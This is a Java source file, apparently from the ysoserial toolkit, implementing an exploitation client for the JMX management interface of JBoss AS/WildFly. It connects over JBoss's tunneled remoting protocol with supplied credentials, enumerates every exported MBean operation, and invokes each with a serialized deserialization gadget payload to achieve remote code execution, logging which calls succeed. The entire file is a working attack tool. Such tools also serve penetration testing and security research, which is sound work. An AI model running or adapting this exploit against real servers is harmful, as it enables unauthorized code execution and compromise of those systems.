package ysoserial.exploit;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.SocketAddress;
import java.net.URI;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.Executor;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.TimeUnit;
import java.util.logging.Handler;
import java.util.logging.Level;
import java.util.logging.LogManager;
import java.util.logging.LogRecord;
import java.util.logging.Logger;
import javax.management.InstanceNotFoundException;
import javax.management.IntrospectionException;
import javax.management.MBeanInfo;
import javax.management.MBeanOperationInfo;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ReflectionException;
import javax.management.remote.JMXServiceURL;
import javax.security.auth.callback.Callback;
import javax.security.auth.callback.CallbackHandler;
import javax.security.auth.callback.NameCallback;
import javax.security.auth.callback.PasswordCallback;
import javax.security.auth.callback.UnsupportedCallbackException;
import javax.security.sasl.RealmCallback;
import org.jboss.remoting3.Channel;
import org.jboss.remoting3.Connection;
import org.jboss.remoting3.Endpoint;
import org.jboss.remoting3.OpenListener;
import org.jboss.remoting3.Remoting;
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
import org.jboss.remoting3.spi.ConnectionHandler;
import org.jboss.remoting3.spi.ConnectionHandlerContext;
import org.jboss.remoting3.spi.ConnectionHandlerFactory;
import org.jboss.remoting3.spi.ConnectionProvider;
import org.jboss.remoting3.spi.ConnectionProviderContext;
import org.jboss.remoting3.spi.RegisteredService;
import org.jboss.remotingjmx.VersionedConnection;
import org.xnio.FutureResult;
import org.xnio.IoFuture;
import org.xnio.IoFuture.Status;
import org.xnio.OptionMap;
import org.xnio.Options;
import org.xnio.Xnio;
import org.xnio.XnioWorker;
import org.xnio.ssl.JsseXnioSsl;
import org.xnio.ssl.XnioSsl;
import ysoserial.payloads.ObjectPayload.Utils;
/**
*
* An exploitation client for JBoss AS/Wildfly JMX
*
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
*
* This is not as readily exploitable as in other pieces of software:
* 1. they only allow authenticated access by default
* 2. they have a very strict module architecture:
* - all MBeans exported by default use classloaders that expose almost nothing useful
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
*
* This client enumerates all application exported MBean method which are then called
* delivering the specified payload.
*
* I.e. you can succesfully exploit that
* - you have access to the interface
* (username/password can be specified via URL, note: despite not noticeable,
* local connections implicitely use authentication)
* - there is an application exported MBean
* - that application imports the classes required for the gadget chain
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"rawtypes"
} )
public class JBoss {
public static void main ( String[] args ) {
if ( args.length < 3 ) {
System.err.println("Usage " + JBoss.class.getName() + " <uri> <payload> <payload_arg>");
System.exit(-1);
}
URI u = URI.create(args[ 0 ]);
final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
String username = null;
String password = null;
if ( u.getUserInfo() != null ) {
int sep = u.getUserInfo().indexOf(':');
if ( sep >= 0 ) {
username = u.getUserInfo().substring(0, sep);
password = u.getUserInfo().substring(sep + 1);
}
else {
System.err.println("Need <user>:<password>@");
System.exit(-1);
}
}
doRun(u, payloadObject, username, password);
Utils.releasePayload(args[1], payloadObject);
}
private static void doRun ( URI u, final Object payloadObject, String username, String password ) {
ConnectionProvider instance = null;
ConnectionProviderContextImpl context = null;
ConnectionHandler ch = null;
Channel c = null;
VersionedConnection vc = null;
try {
Logger logger = LogManager.getLogManager().getLogger("");
logger.addHandler(new ConsoleLogHandler());
logger.setLevel(Level.INFO);
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
context = new ConnectionProviderContextImpl(options, "endpoint");
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
String host = u.getHost();
int port = u.getPort() > 0 ? u.getPort() : 9990;
SocketAddress destination = new InetSocketAddress(host, port);
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
c = getChannel(context, ch, options);
System.err.println("Connected");
vc = makeVersionedConnection(c);
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
doExploit(payloadObject, mbc);
System.err.println("DONE");
}
catch ( Throwable e ) {
e.printStackTrace(System.err);
}
finally {
cleanup(instance, context, ch, c, vc);
}
}
private static void cleanup ( ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
VersionedConnection vc ) {
if ( vc != null ) {
vc.close();
}
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
if ( ch != null ) {
try {
ch.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
if ( instance != null ) {
try {
instance.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
if ( context != null ) {
context.getXnioWorker().shutdown();
}
}
private static ConnectionHandlerFactory getConnection ( SocketAddress destination, final String username, final String password,
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options )
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
FutureResult<ConnectionHandlerFactory> result = new FutureResult<ConnectionHandlerFactory>();
instance.connect(null, destination, options, result, new CallbackHandler() {
public void handle ( Callback[] callbacks ) throws IOException, UnsupportedCallbackException {
for ( Callback cb : callbacks ) {
if ( cb instanceof NameCallback ) {
( (NameCallback) cb ).setName(username);
}
else if ( cb instanceof PasswordCallback ) {
( (PasswordCallback) cb ).setPassword(password != null ? password.toCharArray() : new char[0]);
}
else if ( !( cb instanceof RealmCallback) ) {
System.err.println(cb);
throw new UnsupportedCallbackException(cb);
}
}
}
}, xnioSsl);
System.err.println("waiting for connection");
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
Status s = ioFuture.await(5, TimeUnit.SECONDS);
if ( s == Status.FAILED ) {
System.err.println("Cannot connect");
if ( ioFuture.getException() != null ) {
ioFuture.getException().printStackTrace(System.err);
}
}
else if ( s != Status.DONE ) {
ioFuture.cancel();
System.err.println("Connect timeout");
System.exit(-1);
}
ConnectionHandlerFactory chf = ioFuture.getInterruptibly();
return chf;
}
private static Channel getChannel ( ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options ) throws IOException {
Channel c;
FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());
ch.open("jmx", chResult, options);
IoFuture<Channel> cFuture = chResult.getIoFuture();
Status s2 = cFuture.await();
if ( s2 == Status.FAILED ) {
System.err.println("Cannot connect");
if ( cFuture.getException() != null ) {
throw new IOException("Connect failed", cFuture.getException());
}
}
else if ( s2 != Status.DONE ) {
cFuture.cancel();
throw new IOException("Connect timeout");
}
c = cFuture.get();
return c;
}
private static VersionedConnection makeVersionedConnection ( Channel c )
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
VersionedConnection vc;
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
vcCreate.setAccessible(true);
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
return vc;
}
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
Object[] params = new Object[1];
params[ 0 ] = payloadObject;
System.err.println("Querying MBeans");
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
System.err.println("Found " + testMBeans.size() + " MBeans");
for ( ObjectInstance oi : testMBeans ) {
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
try {
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
return;
}
catch ( Throwable e ) {
String msg = e.getMessage();
if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
int start = msg.indexOf('"');
int stop = msg.indexOf('"', start + 1);
String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
int cstart = msg.indexOf(':');
int cend = msg.indexOf(' ', cstart + 2);
String cls = msg.substring(cstart + 2, cend);
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
}
}
else {
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
return;
}
}
}
}
}
private static final class ConsoleLogHandler extends Handler {
@Override
public void publish ( LogRecord record ) {
System.err.println(record.getMessage());
}
@Override
public void flush () {
}
@Override
public void close () throws SecurityException {}
}
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
private ConnectionProviderContextImpl context;
public ConnectionHandlerContextImpl ( ConnectionProviderContextImpl context ) {
this.context = context;
}
public void remoteClosed () {}
public OpenListener getServiceOpenListener ( String serviceType ) {
return null;
}
public RegisteredService getRegisteredService ( String serviceType ) {
return null;
}
public ConnectionProviderContext getConnectionProviderContext () {
return this.context;
}
public Connection getConnection () {
return null;
}
}
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
private XnioWorker worker;
private ExecutorService executor;
private Xnio instance;
private Endpoint endpoint;
public ConnectionProviderContextImpl ( OptionMap opts, String endpointName ) throws IllegalArgumentException, IOException {
this.instance = Xnio.getInstance();
this.worker = this.instance.createWorker(opts);
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
this.executor = Executors.newCachedThreadPool(new ThreadFactory() {
public Thread newThread ( Runnable r ) {
Thread t = new Thread(r, "Worker");
t.setDaemon(true);
return t;
}
});
}
public XnioWorker getXnioWorker () {
return this.worker;
}
public Xnio getXnio () {
return this.instance;
}
public Executor getExecutor () {
return this.executor;
}
public Endpoint getEndpoint () {
return this.endpoint;
}
public void accept ( ConnectionHandlerFactory connectionHandlerFactory ) {
System.err.println("accept");
}
}
}